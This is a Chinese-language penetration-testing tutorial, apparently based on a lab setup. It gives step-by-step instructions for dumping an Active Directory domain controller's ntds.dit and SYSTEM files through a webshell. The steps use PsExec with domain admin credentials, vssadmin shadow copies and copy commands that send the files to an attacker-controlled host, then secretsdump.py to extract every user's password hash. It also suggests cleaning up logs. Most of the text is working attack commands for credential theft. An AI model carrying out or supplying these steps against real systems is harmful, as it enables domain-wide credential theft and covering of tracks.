通过Webshell远程导出域控ntds.dit的方法
字数 1197 2025-08-18 11:37:57
通过Webshell远程导出域控ntds.dit的方法
概述
本文详细介绍了在已获取域管理员凭据的情况下,通过Webshell远程导出Active Directory数据库文件(ntds.dit)和SYSTEM文件的方法。这种方法适用于渗透测试中无法直接获取反向shell的情况。
前提条件
- 已控制一台加入域的Windows机器(LABONE - 192.168.56.101)
- 拥有域管理员凭据(用户名:user1,密码:ica_1046)
- 目标域控机器(queen.DC1.indishell.lab - 192.168.56.200)
- 通过Webshell访问被控机器
所需工具
- PsExec.exe - Windows内部工具,用于远程执行命令
- vssadmin - Windows自带工具,用于创建/删除卷影副本
详细步骤
1. 上传PsExec工具
将PsExec.exe上传到被控机器(LABONE)上,例如上传到C:\xampp\htdocs\box\ps\目录。
2. 检查现有卷影副本
通过Webshell执行以下命令检查目标域控上现有的卷影副本:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
命令说明:
\\192.168.56.200- 目标域控IP-u user1- 域管理员用户名-p ica_1046- 域管理员密码-h- 以提升的权限运行- 将命令输出重定向到本地文件
3. 创建卷影副本
在目标域控上创建C盘的卷影副本:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
创建完成后,检查out.txt文件获取卷影副本名称,格式通常为:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字)
4. 定位关键文件路径
在卷影副本中,关键文件的位置为:
- NTDS.dit:
卷影副本名称\Windows\NTDS\NTDS.dit - SYSTEM:
卷影副本名称\Windows\System32\config\SYSTEM
例如:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
5. 复制NTDS.dit文件
将NTDS.dit文件复制到被控机器:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"
6. 复制SYSTEM文件
将SYSTEM文件复制到被控机器:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM \\192.168.56.101\C$\xampp\htdocs\box\ps\"
7. 下载文件
通过Webshell下载已复制的ntds.dit和SYSTEM文件。
8. 提取哈希
使用secretsdump.py工具从获取的文件中提取哈希:
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
注意事项
- 确保使用的域管理员凭据有效
- 操作过程中注意网络连接稳定性
- 此方法会产生明显的日志记录,在实际渗透测试中应考虑清理痕迹
- 复制大文件可能需要较长时间
总结
通过这种方法,渗透测试人员可以在仅拥有Webshell访问权限的情况下,利用域管理员凭据和Windows自带工具,远程导出Active Directory数据库文件,进而获取域内所有用户的哈希值。这种方法避免了需要直接获取反向shell的限制,适用于受限制的网络环境。